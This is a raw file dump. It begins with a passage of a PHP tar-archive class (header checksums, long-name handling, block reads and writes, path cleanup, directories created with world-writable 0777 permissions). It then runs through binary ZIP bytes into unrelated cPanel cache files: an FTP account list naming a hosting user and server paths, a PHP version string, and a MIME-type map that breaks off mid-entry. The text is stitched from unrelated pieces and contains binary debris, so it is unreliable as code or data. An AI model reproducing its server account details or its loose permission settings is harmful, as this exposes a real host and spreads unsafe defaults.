                                 		        $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');

                                 		        return false;

                                 	}

                                 }

                                 if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';

                                 if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';

                                 $this->dirs[] = $file_dir;

                                 $this->files[] = $header['filename'];

	
		        }

		        return true;

	}


	function dirCheck($dir){

		        $parent_dir = dirname($dir);


		        if ((@is_dir($dir)) or ($dir == ''))

                                 return true;


		        if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))

                                 return false;


		        if (!mkdir($dir, 0777)){

                                 $this->errors[] = __('Cannot create directory').' '.$dir;

                                 return false;

		        }

		        return true;

	}


	function extractHeaderInformation($binaryData, &$header){

		        if (strlen($binaryData)==0){

                                 $header['filename'] = '';

                                 return true;

		        }


		        if (strlen($binaryData) != 512){

                                 $header['filename'] = '';

                                 $this->__('Invalid block size').': '.strlen($binaryData);

                                 return false;

		        }


		        $checksum = 0;

		        for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		        for ($i = 148; $i < 156; $i++) $checksum += ord(' ');

		        for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));


		        $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);


		        $header['checksum'] = OctDec(trim($unpack_data['checksum']));

		        if ($header['checksum'] != $checksum){

                                 $header['filename'] = '';

                                 if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;

                                 $this->errors[] = __('Error checksum for file ').$unpack_data['filename'];

                                 return false;

		        }


		        if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;

		        $header['filename'] = trim($unpack_data['filename']);

		        $header['mode'] = OctDec(trim($unpack_data['mode']));

		        $header['user_id'] = OctDec(trim($unpack_data['user_id']));

		        $header['group_id'] = OctDec(trim($unpack_data['group_id']));

		        $header['size'] = OctDec(trim($unpack_data['size']));

		        $header['time'] = OctDec(trim($unpack_data['time']));

		        return true;

	}


	function writeHeaderToArchive($filename, $keep_filename){

		        $packF = 'a100a8a8a8a12A12';

		        $packL = 'a1a100a6a2a32a32a8a8a155a12';

		        if (strlen($keep_filename)<=0) $keep_filename = $filename;

		        $filename_ready = $this->createValidFilePath($keep_filename);


		        if (strlen($filename_ready) > 99){                                                                  	//write long header

		        $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);

		        $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');


                                                //  Calculate the checksum

		        $checksum = 0;

                                                //  First part of the header

		        for ($i = 0; $i < 148; $i++)

                                 $checksum += ord(substr($dataFirst, $i, 1));

                                                //  Ignore the checksum value and replace it by ' ' (space)

		        for ($i = 148; $i < 156; $i++)

                                 $checksum += ord(' ');

                                                //  Last part of the header

		        for ($i = 156, $j=0; $i < 512; $i++, $j++)

                                 $checksum += ord(substr($dataLast, $j, 1));

                                                //  Write the first 148 bytes of the header in the archive

		        $this->writeBlockToData($dataFirst, 148);

                                                //  Write the calculated checksum

		        $checksum = sprintf('%6s ', DecOct($checksum));

		        $binaryData = pack('a8', $checksum);

		        $this->writeBlockToData($binaryData, 8);

                                                //  Write the last 356 bytes of the header in the archive

		        $this->writeBlockToData($dataLast, 356);


		        $temp_file_handlername = $this->createValidFilePath($filename_ready);


		        $i = 0;

                                 while (($buffer = substr($temp_file_handlername, (($i++)*512), 512)) != ''){

                                 	$binaryData = pack('a512', $buffer);

                                 	$this->writeBlockToData($binaryData);

                                 }

		        return true;

		        }

		        $file_info = stat($filename);

		        if (@is_dir($filename)){

                                 $typeflag = '5';

                                 $size = sprintf('%11s ', DecOct(0));

		        } else {

                                 $typeflag = '';

                                 clearstatcache();

                                 $size = sprintf('%11s ', DecOct(filesize($filename)));

		        }

		        $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));

		        $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');

		        $checksum = 0;

		        for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));

		        for ($i = 148; $i < 156; $i++) $checksum += ord(' ');

		        for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));

		        $this->writeBlockToData($dataFirst, 148);

		        $checksum = sprintf('%6s ', DecOct($checksum));

		        $binaryData = pack('a8', $checksum);

		        $this->writeBlockToData($binaryData, 8);

		        $this->writeBlockToData($dataLast, 356);

		        return true;

	}


	function initializeWriteOperation(){

		        if ($this->isGzipped)

                                 $this->tmp_file = gzopen($this->archive_name, 'wb9f');

		        else

                                 $this->tmp_file = fopen($this->archive_name, 'wb');


		        if (!($this->tmp_file)){

                                 $this->errors[] = __('Cannot write to file').' '.$this->archive_name;

                                 return false;

		        }

		        return true;

	}


	function readBlockFromData(){

		        if (is_resource($this->tmp_file)){

                                 if ($this->isGzipped)

                                 	$block = gzread($this->tmp_file, 512);

                                 else

                                 	$block = fread($this->tmp_file, 512);

		        } else	$block = '';


		        return $block;

	}


	function writeBlockToData($data, $length = 0){

		        if (is_resource($this->tmp_file)){

		        
                                 if ($length === 0){

                                 	if ($this->isGzipped)

                                 		        gzputs($this->tmp_file, $data);

                                 	else

                                 		        fputs($this->tmp_file, $data);

                                 } else {

                                 	if ($this->isGzipped)

                                 		        gzputs($this->tmp_file, $data, $length);

                                 	else

                                 		        fputs($this->tmp_file, $data, $length);

                                 }

		        }

	}


	function finalizeTempFileHandler(){

		        if (is_resource($this->tmp_file)){

                                 if ($this->isGzipped)

                                 	gzclose($this->tmp_file);

                                 else

                                 	fclose($this->tmp_file);


                                 $this->tmp_file = 0;

		        }

	}


	function createValidFilePath($path){

		        if (strlen($path)>0){

                                 $path = str_replace('\\', '/', $path);

                                 $partPath = explode('/', $path);

                                 $els = count($partPath)-1;

                                 for ($i = $els; $i>=0; $i--){

                                 	if ($partPath[$i] == '.'){

                                                                                                                        //  Ignore this directory

                                                                                                } elseif ($partPath[$i] == '..'){

                                                                                                                        $i--;

                                                                                                }

                                 	elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){

                                                                                                }	else

                                 		        $result = $partPath[$i].($i!=$els ? '/'.$result : '');

                                 }

		        } else $result = '';

		        
		        return $result;

	}

}PK�n[R����
ftp_LISTSTOREnu"�]
�{"status":1,"version":"2.4","statusmsg":"Ran adminbin Cpanel/ftp/LISTSTORE","mode":"simple","action":"fetch","error":0,"exit_code":0,"data":[{"homedir":"/home/kbdhpghp","type":"main","user":"kbdhpghp"},{"homedir":"/etc/apache2/logs/domlogs/kbdhpghp","type":"logaccess","user":"kbdhpghp_logs"},{"type":"anonymous","homedir":"/home/kbdhpghp/public_ftp","user":"ftp"},{"user":"anonymous","homedir":"/home/kbdhpghp/public_ftp","type":"anonymous"}],"timeout":0}PK�n[�g�mysql-db-countnu"�]
�9PK�n[J��+_opt_cpanel_ea-php81_root_usr_bin_php_-n_-vnu"�]
�PHP 8.1.32 (cli) (built: Mar 20 2025 12:25:49) (NTS)
Copyright (c) The PHP Group
Zend Engine v4.1.32, Copyright (c) Zend Technologies
PK�n[C??_bin_gem_environment_gempathnu"�]
�/home/kbdhpghp/.gem/ruby:/usr/share/gems:/usr/local/share/gems
PK�n[/+_�m�m
SYSTEMMIMEnu"�]
�{"application/vnd.chipnuts.karaoke-mmd":"mmd","application/vnd.openxmlformats-officedocument.presentationml.presentation":"pptx","application/x-research-info-systems":"ris","application/vnd.ms-lrm":"lrm","application/vnd.claymore":"cla","text/tab-separated-values":"tsv","application/x-tgif":"obj","application/x-img":"img","application/vnd.sailingtracker.track":"st","application/x-abiword":"abw","application/vnd.xfdl":"xfdl","video/x-ms-asf":"asf asx","application/cdmi-capability":"cdmia","application/vnd.simtech-mindmapper":"twd twds","application/vnd.frogans.fnc":"fnc","video/h261":"h261","application/wasm":"wasm","video/vnd.dece.pd":"uvp uvvp","video/x-ms-wmv":"wmv","text/vnd.curl.mcurl":"mcurl","image/vnd.wap.wbmp":".wbmp wbmp","application/vnd.zzazz.deck+xml":"zaz","image/x-portable-bitmap":"pbm","text/x-sfv":"sfv","audio/vnd.nuera.ecelp4800":"ecelp4800","image/ief":"ief","application/vnd.oasis.opendocument.text-template":"ott","image/vnd.dvb.subtitle":"sub","application/vnd.las.las+xml":"lasxml","application/vnd.bmi":"bmi","application/vnd.blueice.multipass":"mpm","application/x-envoy":"evy","application/vnd.hp-hpgl":"hpgl","application/vnd.powerbuilder6":"pbd","application/marcxml+xml":"mrcx","application/x-chat":"chat","application/metalink4+xml":"meta4","application/ruby":"rb","application/pkixcmp":"pki","application/msword":"doc dot","application/x-authorware-map":"aam","application/vnd.neurolanguage.nlu":"nlu","application/vnd.astraea-software.iota":"iota","application/vnd.google-earth.kmz":"kmz","application/vnd.dece.zip":"uvvz uvz","application/xop+xml":"xop","application/vnd.jam":"jam","application/octet-stream":"bin bpk deploy dist distz dmg dms dump elc iso lrf mar pkg so","image/webp":"webp","application/vnd.yamaha.hv-voice":"hvp","application/vnd.wap.wbxml":"wbxml","application/vnd.dece.ttml+xml":"uvt uvvt","application/vnd.oasis.opendocument.text-master":"odm","text/vnd.fly":"fly","application/vnd.ms-officetheme":"thmx","application/x-install-instructions":"install","application/smil+xml":"smi smil","application/xaml+xml":"xaml","application/atomcat+xml":"atomcat","application/emma+xml":"emma","application/vnd.realvnc.bed":"bed","application/x-msschedule":"scd","application/pkix-cert":"cer","text/vnd.sun.j2me.app-descriptor":"jad","application/vnd.vsf":"vsf","application/rss+xml":"rss","application/vnd.igloader":"igl","application/vnd.oasis.opendocument.chart":"odc","audio/ogg":"oga ogg opus spx","application/vnd.ms-powerpoint.template.macroenabled.12":"potm","application/vnd.xara":"xar","application/vnd.stardivision.writer-global":"sgl","application/vnd.dece.unspecified":"uvvx uvx","chemical/x-cif":"cif","image/x-xbitmap":"xbm","audio/mp4":"m4a m4p mp4 mp4a","application/scvp-vp-response":"spp","application/sru+xml":"sru","application/x-httpd-ea-php74":"php php7","application/vnd.kde.kspread":"ksp","application/vnd.genomatix.tuxedo":"txd","application/vnd.cosmocaller":"cmc","image/vnd.net-fpx":"npx","application/tei+xml":"tei teicorpus","video/h263":"h263","application/x-dtbook+xml":"dtb","image/cgm":"cgm","application/vnd.fujitsu.oasys":"oas","application/x-sh":"sh","application/mads+xml":"mads","application/srgs":"gram","application/vnd.kde.karbon":"karbon","application/davmount+xml":"davmount","video/vnd.mpegurl":"m4u mxu","application/x-msaccess":"mdb","application/vnd.shana.informed.formdata":"ifm","application/vnd.clonk.c4group":"c4d c4f c4g c4p c4u","audio/x-aac":"aac","image/x-pict":"pct pic","application/x-msbinder":"obd","text/x-nfo":"nfo","model/x3d+vrml":"x3dv x3dvz","application/sparql-query":"rq","application/xproc+xml":"xpl","application/java-archive":"jar","audio/webm":"weba","application/vnd.ms-fontobject":"eot","application/vnd.mfmp":"mfm","application/vnd.aristanetworks.swi":"swi","application/patch-ops-error+xml":"xer","text/x-setext":"etx","application/xslt+xml":"xslt","application/x-shar":"shar","application/rpki-roa":"roa","application/vnd.americandynamics.acc":"acc","application/vnd.google-earth.kml+xml":"kml","application/vnd.syncml.dm+wbxml":"bdm","application/pkcs7-mime":"p7c p7m","application/omdoc+xml":"omdoc","application/vnd.apple.installer+xml":"mpkg","audio/xm":"xm","application/vnd.smaf":"mmf","application/vnd.ibm.minipay":"mpy","application/vnd.sun.xml.draw.template":"std","application/x-conference":"nsc","application/vnd.tcpdump.pcap":"cap dmp pcap","video/x-flv":"flv","application/vnd.jisp":"jisp","audio/vnd.dra":"dra","application/x-httpd-ea-php56":"php php5","application/vnd.stardivision.impress":"sdd","image/svg+xml":"svg svgz","audio/x-ms-wma":"wma","application/vnd.rn-realmedia":"rm","application/vnd.yellowriver-custom-menu":"cmp","application/reginfo+xml":"rif","application/x-font-type1":"afm pfa pfb pfm","chemical/x-xyz":"xyz","application/mp21":"m21 mp21","video/x-matroska":"mk3d mks mkv","application/shf+xml":"shf","text/vnd.curl.scurl":"scurl","application/vnd.sun.xml.draw":"sxd","application/vnd.groove-help":"ghf","application/x-msdownload":"bat com dll exe msi","application/x-silverlight-app":"xap","application/vnd.mif":"mif","application/vnd.cups-ppd":"ppd","video/x-mng":"mng","application/x-bittorrent":"torrent","application/x-t3vm-image":"t3","application/mods+xml":"mods","application/x-font-bdf":"bdf","application/vnd.openxmlformats-officedocument.spreadsheetml.sheet":"xlsx","application/vnd.ms-excel.addin.macroenabled.12":"xlam","application/x-lzh-compressed":"lha lzh","image/x-cmx":"cmx","application/pgp-encrypted":"pgp","image/x-freehand":"fh fh4 fh5 fh7 fhc","image/x-portable-anymap":"pnm","application/vnd.hydrostatix.sof-data":"sfd-hdstx","chemical/x-cml":"cml","application/vnd.osgi.subsystem":"esa","application/vnd.groove-vcard":"vcg","text/turtle":"ttl","application/vnd.pawaafile":"paw","image/x-3ds":"3ds","application/prs.cww":"cww","application/x-compress":".Z","application/vnd.fsc.weblaunch":"fsc","text/x-c":"c cc cpp cxx dic h hh","application/vnd.pg.osasli":"ei6","application/vnd.isac.fcs":"fcs","text/x-vcalendar":"vcs","application/vnd.intergeo":"i2g","application/inkml+xml":"ink inkml","application/vnd.stepmania.stepchart":"sm","image/x-mrsid-image":"sid","application/vnd.mseq":"mseq","application/x-ms-shortcut":"lnk","application/x-gzip":".gz .tgz tgz","application/vnd.visio":"vsd vss vst vsw","image/vnd.djvu":"djv djvu","application/vnd.mobius.msl":"msl","video/x-ms-wm":"wm","application/vnd.oasis.opendocument.presentation":"odp","image/x-pcx":"pcx","application/vnd.mobius.plc":"plc","application/vnd.oasis.opendocument.image-template":"oti","application/vnd.dece.data":"uvd uvf uvvd uvvf","application/vnd.commonspace":"csp","application/xhtml+xml":"xht xhtml","application/x-ms-xbap":"xbap","application/x-cfs-compressed":"cfs","application/vnd.curl.pcurl":"pcurl","application/x-cdlink":"vcd","application/vnd.cluetrust.cartomobile-config-pkg":"c11amz","application/vnd.uiq.theme":"utz","text/vnd.curl":"curl","audio/vnd.lucent.voice":"lvp","application/x-mobipocket-ebook":"mobi prc","video/x-fli":"fli","application/vnd.ctc-posml":"pml","text/x-registry":"reg","application/vnd.pocketlearn":"plf","application/vnd.oasis.opendocument.image":"odi","application/cu-seeme":"cu","application/vnd.lotus-screencam":"scm","application/vnd.sun.xml.writer.template":"stw","application/vnd.ms-works":"wcm wdb wks wps","application/vnd.novadigm.edm":"edm","audio/x-mpegurl":"m3u","application/relax-ng-compact-syntax":"rnc","application/scvp-vp-request":"spq","image/gif":"gif","application/x-authorware-seg":"aas","application/rpki-manifest":"mft","application/vnd.crick.clicker.wordbank":"clkw","text/vcard":"vcard","image/vnd.dece.graphic":"uvg uvi uvvg uvvi","application/rsd+xml":"rsd","application/x-cbr":"cb7 cba cbr cbt cbz","video/jpeg":"jpgv","application/vnd.symbian.install":"sis sisx","application/vnd.ipunplugged.rcprofile":"rcprofile","application/vnd.recordare.musicxml":"mxl","video/3gpp":"3gp","audio/s3m":"s3m","application/x-pkcs7-certreqresp":"p7r","audio/basic":"au snd","application/vnd.sun.xml.writer.global":"sxg","application/x-freearc":"arc","image/vnd.fujixerox.edmics-mmr":"mmr","application/vnd.mophun.application":"mpn","audio/x-flac":"flac","application/thraud+xml":"tfi","application/vnd.fujixerox.docuworks.binder":"xbd","application/vnd.ahead.space":"ahead","application/x-msclip":"clp","application/x-mscardfile":"crd","text/x-asm":"asm s","application/x-xpinstall":"xpi","application/vnd.epson.salt":"slt","text/x-config":"cnf conf","application/x-httpd-ea-php54":"php php5","application/vnd.ibm.rights-management":"irm","application/pgp-signature":"asc sig","application/x-httpd-php-source":"phps","application/vnd.novadigm.ext":"ext","application/vnd.syncml+xml":"xsm","application/vnd.kde.kontour":"kon","application/ogg":"ogx","application/postscript":"ai eps ps","application/xml-dtd":"dtd","text/x-sql":"sql","application/vnd.olpc-sugar":"xo","application/vnd.ms-excel.sheet.binary.macroenabled.12":"xlsb","application/vnd.lotus-wordpro":"lwp","application/vnd.sun.xml.calc":"sxc","application/vnd.ms-ims":"ims","video/vnd.fvt":"fvt","application/exi":"exi","application/vnd.geospace":"g3w","application/vnd.hhe.lesson-player":"les","image/vnd.dxf":"dxf","application/vnd.ms-word.template.macroenabled.12":"dotm","application/x-font-ghostscript":"gsf","application/vnd.dvb.service":"svc","application/vnd.stardivision.math":"smf","application/vnd.dart":"dart","application/x-sql":"sql","video/x-smv":"smv","image/x-rgb":"rgb","application/x-x509-ca-cert":".crt crt der","application/vnd.ms-word.document.macroenabled.12":"docm","video/vnd.uvvu.mp4":"uvu uvvu","application/x-dtbresource+xml":"res","application/x-java-jnlp-file":"jnlp","application/x-apple-diskimage":"dmg","application/vnd.medcalcdata":"mc1","application/x-latex":"latex","application/winhlp":"hlp","font/woff":"woff","application/vnd.musician":"mus","application/vnd.adobe.xfdf":"xfdf","application/x-cpio":"cpio","application/vnd.fujitsu.oasys2":"oa2","application/vnd.oasis.opendocument.graphics-template":"otg","application/vnd.openofficeorg.extension":"oxt","application/x-doom":"wad","text/x-log":"log","application/vnd.chemdraw+xml":"cdxml","application/scvp-cv-request":"scq","application/x-stuffit":"sit","application/vnd.triscape.mxs":"mxs","application/rtf":"rtf","application/vnd.shana.informed.interchange":"iif","application/vnd.macports.portpkg":"portpkg","application/x-httpd-ea-php80":"php php8","application/rls-services+xml":"rs","application/oda":"oda","application/vnd.immervision-ivu":"ivu","text/csv":"csv","application/pskc+xml":"pskcxml","image/tiff":"tif tiff","application/x-tcl":"tcl","image/sgi":"sgi","image/x-portable-graymap":"pgm","application/vnd.wt.stf":"stf","application/x-subrip":"srt","application/vnd.hp-hpid":"hpid","application/mets+xml":"mets","video/x-sgi-movie":"movie","application/vnd.groove-tool-template":"tpl","application/x-tads":"gam","application/vnd.fujixerox.docuworks":"xdw","application/vnd.businessobjects":"rep","application/x-ms-wmd":"wmd","application/vnd.muvee.style":"msty","application/vnd.intu.qfx":"qfx","application/vnd.tao.intent-module-archive":"tao","application/vnd.oasis.opendocument.text":"odt","application/vnd.accpac.simply.imp":"imp","application/scvp-cv-response":"scs","font/woff2":"woff2","application/vnd.adobe.xdp+xml":"xdp","model/vrml":"vrml wrl","application/vnd.hp-jlyt":"jlt","video/vnd.ms-playready.media.pyv":"pyv","application/marc":"mrc","video/jpm":"jpgm jpm","application/pics-rules":"prf","application/x-tex-tfm":"tfm","application/cdmi-domain":"cdmid","text/vnd.curl.dcurl":"dcurl","application/vnd.micrografx.flo":"flo","application/vnd.dynageo":"geo","application/vnd.ms-powerpoint.addin.macroenabled.12":"ppam","video/quicktime":"mov qt","audio/vnd.rip":"rip","font/otf":"otf","application/vnd.kde.kword":"kwd kwt","application/vnd.yamaha.smaf-audio":"saf","application/vnd.ms-pki.seccat":"cat","image/vnd.ms-photo":"wdp","application/vnd.geogebra.file":"ggb","video/vnd.dece.video":"uvv uvvv","application/x-httpd-ea-php55":"php php5","image/avif":"avif","application/vnd.spotfire.dxp":"dxp","application/wspolicy+xml":"wspolicy","application/vnd.hp-pcl":"pcl","application/vnd.dreamfactory":"dfac","application/vnd.epson.ssf":"ssf","application/x-hdf":"hdf","image/ktx":"ktx","application/vnd.yamaha.smaf-phrase":"spf","audio/x-ms-wax":"wax","application/resource-lists-diff+xml":"rld","application/vnd.enliven":"nml","application/vnd.nokia.n-gage.data":"ngdat","application/vnd.adobe.formscentral.fcdt":"fcdt","application/vnd.noblenet-web":"nnw","application/vnd.immervision-ivp":"ivp","application/vnd.ufdl":"ufd ufdl","image/vnd.fst":"fst","application/vnd.ms-powerpoint.slide.macroenabled.12":"sldm","application/vnd.jcp.javame.midlet-rms":"rms","application/vnd.amazon.ebook":"azw","application/vnd.frogans.ltf":"ltf","application/vnd.hal+xml":"hal","image/g3fax":"g3","application/vnd.mediastation.cdkey":"cdkey","application/vnd.fluxtime.clip":"ftc","application/vnd.ms-powerpoint.presentation.macroenabled.12":"pptm","application/vnd.proteus.magazine":"mgz","application/vnd.stardivision.writer":"sdw vor","application/vnd.fujitsu.oasysprs":"bh2","application/vnd.geogebra.slides":"ggs","application/vnd.airzip.filesecure.azf":"azf","text/vnd.graphviz":"gv","application/xenc+xml":"xenc","application/vnd.shana.informed.formtemplate":"itp","chemical/x-cmdf":"cmdf","image/x-tga":"tga","video/mpeg":"m1v m2v mpe mpeg mpg","video/3gpp2":"3g2","video/vnd.dece.mobile":"uvm uvvm","application/x-pkcs12":"p12 pfx","application/vnd.framemaker":"book fm frame maker","application/vnd.epson.quickanime":"qam","application/vnd.fujixerox.ddd":"ddd","application/vnd.trid.tpt":"tpt","application/vnd.pmi.widget":"wg","application/vnd.nokia.radio-presets":"rpss","application/vnd.oasis.opendocument.chart-template":"otc","application/x-httpd-ea-php73":"php php7","application/vnd.kinar":"kne knp","application/vnd.crick.clicker.palette":"clkp","application/vnd.nokia.radio-preset":"rpst","image/vnd.fpx":"fpx","application/vnd.osgeo.mapguide.package":"mgp","application/vnd.openxmlformats-officedocument.presentationml.slideshow":"ppsx","application/x-font-linux-psf":"psf","image/x-cmu-raster":"ras","image/prs.btif":"btif","application/vnd.contact.cmsg":"cdbcmsg","application/vnd.llamagraphics.life-balance.desktop":"lbd","model/x3d+xml":"x3d x3dz","application/vnd.oasis.opendocument.presentation-template":"otp","image/x-icon":"ico","model/vnd.collada+xml":"dae","text/vnd.in3d.spot":"spot","application/x-dtbncx+xml":"ncx","application/java-vm":"class","application/cgi":"cgi","video/webm":"webm","application/vnd.lotus-notes":"nsf","application/vnd.yamaha.hv-dic":"hvd","application/vnd.kodak-descriptor":"sse","application/voicexml+xml":"vxml","application/pls+xml":"pls","application/docbook+xml":"dbk","application/vnd.cluetrust.cartomobile-config":"c11amc","application/vnd.trueapp":"tra","image/vnd.dwg":"dwg","audio/x-matroska":"mka","image/vnd.fastbidsheet":"fbs","application/epub+zip":"epub","application/x-glulx":"ulx","application/xml":"xml xsl","application/mediaservercontrol+xml":"mscml","video/x-ms-wvx":"wvx","application/vnd.uoml+xml":"uoml","application/xspf+xml":"xspf","application/pkix-pkipath":"pkipath","application/vnd.lotus-organizer":"org","application/x-dvi":"dvi","text/css":"css","application/vnd.noblenet-sealer":"nns","text/vbscript":"vbs","application/mp4":"mp4s","application/vnd.ecowin.chart":"mag","image/x-portable-pixmap":"ppm","audio/adpcm":"adp","application/vnd.rig.cryptonote":"cryptonote","application/vnd.groove-identity-message":"gim","application/x-zmachine":"z1 z2 z3 z4 z5 z6 z7 z8","application/oxps":"oxps","text/x-opml":"opml","application/vnd.fdf":"fdf","application/vnd.wap.wmlscriptc":".wmlsc wmlsc","video/x-m4v":"m4v","x-conference/x-cooltalk":"ice","application/x-sv4crc":"sv4crc","application/vnd.mfer":"mwf","application/vnd.intercon.formnet":"xpw xpx","video/vnd.dvb.file":"dvb","application/ssml+xml":"ssml","application/x-msmetafile":"emf emz wmf wmz","application/vnd.kde.kformula":"kfo","application/vnd.3gpp.pic-bw-large":"plb","application/vnd.tmobile-livetv":"tmo","application/vnd.sun.xml.writer":"sxw","audio/x-wav":"wav","application/x-msterminal":"trm","application/cdmi-container":"cdmic","image/png":"png","application/x-httpd-ea-php71":"php php7","text/prs.lines.tag":"dsc","application/vnd.umajin":"umj","application/vnd.sus-calendar":"sus susp","text/x-uuencode":"uu","audio/x-caf":"caf","application/vnd.vcx":"vcx","application/vnd.3gpp2.tcap":"tcap","video/vnd.vivo":"viv","application/vnd.pg.format":"str","application/xv+xml":"mxml xhvml xvm xvml","application/vnd.quark.quarkxpress":"qwd qwt qxb qxd qxl qxt","model/mesh":"mesh msh silo","application/vnd.ezpix-album":"ez2","application/vnd.llamagraphics.life-balance.exchange+xml":"lbe","application/wsdl+xml":"wsdl","application/x-xz":"xz","application/vnd.iccprofile":"icc icm","text/x-fortran":"f f77 f90 for","application/x-bcpio":"bcpio","image/vnd.adobe.photoshop":"psd","application/vnd.openxmlformats-officedocument.presentationml.template":"potx","application/vnd.stardivision.calc":"sdc","video/vnd.dece.hd":"uvh uvvh","application/vnd.syncml.dm+xml":"xdm","application/vnd.ds-keypoint":"kpxx","application/vnd.sun.xml.math":"sxm","application/x-ace-compressed":"ace","application/vnd.kenameaapp":"htke","application/vnd.kde.kchart":"chrt","application/xcap-diff+xml":"xdf","text/x-pascal":"p pas","application/x-ustar":"ustar","application/vnd.lotus-approach":"apr","application/vnd.smart.teacher":"teacher","text/sgml":"sgm sgml","application/vnd.yamaha.hv-script":"hvs","application/vnd.ibm.secure-container":"sc","text/calendar":"ics ifb","application/pdf":"pdf","application/vnd.kahootz":"ktr ktz","application/vnd.ms-excel":"xla xlc xlm xls xlt xlw","video/vnd.dece.sd":"uvs uvvs","application/set-registration-initiation":"setreg","application/x-font-snf":"snf","application/font-tdpfr":"pfr","application/x-mspublisher":"pub","application/vnd.ms-pki.stl":"stl","application/vnd.crick.clicker.keyboard":"clkk","application/x-gramps-xml":"gramps","application/vnd.irepository.package+xml":"irp","application/gml+xml":"gml","application/x-shockwave-flash":"swf","application/pkix-attr-cert":"ac","application/vnd.semd":"semd","application/x-texinfo":"texi texinfo","application/vnd.kidspiration":"kia","application/x-7z-compressed":"7z","application/vnd.nitf":"nitf ntf","application/vnd.unity":"unityweb","video/x-ms-wmx":"wmx","application/timestamped-data":"tsd","application/vnd.rn-realmedia-vbr":"rmvb","application/vnd.3m.post-it-notes":"pwn","application/vnd.sema":"sema","application/ipfix":"ipfix","text/richtext":"rtx","application/perl":"perl pl plx pm ppl","application/vnd.oasis.opendocument.spreadsheet":"ods","application/vnd.antix.game-component":"atx","application/x-bzip":"bz tbz","application/vnd.dvb.ait":"ait","application/vnd.anser-web-funds-transfer-initiation":"fti","application/vnd.groove-account":"gac","application/pkcs8":"p8","application/vnd.fujitsu.oasysgp":"fg5","application/x-gca-compressed":"gca","video/h264":"h264","application/x-xliff+xml":"xlf","application/vnd.adobe.fxp":"fxp fxpl","application/vnd.micrografx.igx":"igx","application/x-httpd-ea-php70":"php php7","application/x-netcdf":"cdf nc","application/vnd.koan":"skd skm skp skt","application/x-nzb":"nzb","application/sbml+xml":"sbml","application/mathematica":"ma mb nb","application/vnd.fujitsu.oasys3":"oa3","video/ogg":"ogv","application/vnd.mynfc":"taglet","application/x-mie":"mie","model/vnd.dwf":"dwf","image/vnd.xiff":"xif","application/vnd.cloanto.rp9":"rp9","text/vnd.wap.wml":".wml wml","application/vnd.yamaha.openscoreformat":"osf","application/x-futuresplash":"spl","application/vnd.data-vision.rdz":"rdz","application/vnd.spotfire.sfs":"sfs","application/x-debian-package":"deb udeb","application/x-font-pcf":"pcf","application/vnd.oasis.opendocument.graphics":"odg","image/x-xwindowdump":"xwd","video/mp4":"mp4 mp4v mpg4","application/vnd.fdsn.mseed":"mseed","application/gxf":"gxf","application/vnd.semf":"semf","application/vnd.airzip.filesecure.azs":"azs","application/onenote":"onepkg onetmp onetoc onetoc2","application/vnd.shana.informed.package":"ipk","application/vnd.openxmlformats-officedocument.spreadsheetml.template":"xltx","application/vnd.ms-excel.template.macroenabled.12":"xltm","application/vnd.seemail":"see","application/x-iso9660-image":"iso","application/vnd.ms-artgalry":"cil","application/applixware":"aw","application/dssc+der":"dssc","application/vnd.dolby.mlp":"mlp","application/json":"json","audio/x-pn-realaudio":"ra ram","application/x-blorb":"blb blorb","application/vnd.ezpix-package":"ez3","application/vnd.kde.kivio":"flw","text/vnd.in3d.3dml":"3dml","application/pkcs10":"p10","application/vnd.acucorp":"acutc atc","application/vnd.kde.kpresenter":"kpr kpt","text/vnd.wap.wmlscript":".wmls wmls","text/troff":"man me ms roff t tr","application/mathml+xml":"mathml","application/ecmascript":"ecma","application/vnd.wolfram.player":"nbp","application/vnd.oasis.opendocument.formula-template":"odft","application/vnd.palm":"oprc pdb pqa","application/vnd.mcd":"mcd","application/vnd.ms-powerpoint.slideshow.macroenabled.12":"ppsm","application/vnd.openxmlformats-officedocument.presentationml.slide":"sldx","application/vnd.zul":"zir zirz","application/vnd.dpgraph":"dpg","image/vnd.fujixerox.edmics-rlc":"rlc","application/x-ms-application":"application","application/sparql-results+xml":"srx","audio/vnd.ms-playready.media.pya":"pya","application/cdmi-object":"cdmio","application/vnd.webturbo":"wtb","application/x-dgc-compressed":"dgc","model/vnd.gtw":"gtw","application/vnd.3gpp.pic-bw-var":"pvb","application/vnd.epson.msf":"msf","model/vnd.vtu":"vtu","text/cache-manifest":"appcache","text/vnd.dvb.subtitle":"sub","application/x-wais-source":"src","application/vnd.oasis.opendocument.text-web":"oth","application/mxf":"mxf","application/vnd.mobius.dis":"dis","application/vnd.oma.dd2+xml":"dd2","application/pkix-crl":"crl","application/x-tar":".tgz tar","audio/x-aiff":"aif aifc aiff","application/x-chess-pgn":"pgn","application/vnd.crick.clicker":"clkx","application/vnd.dna":"dna","text/plain":"conf def in list log text 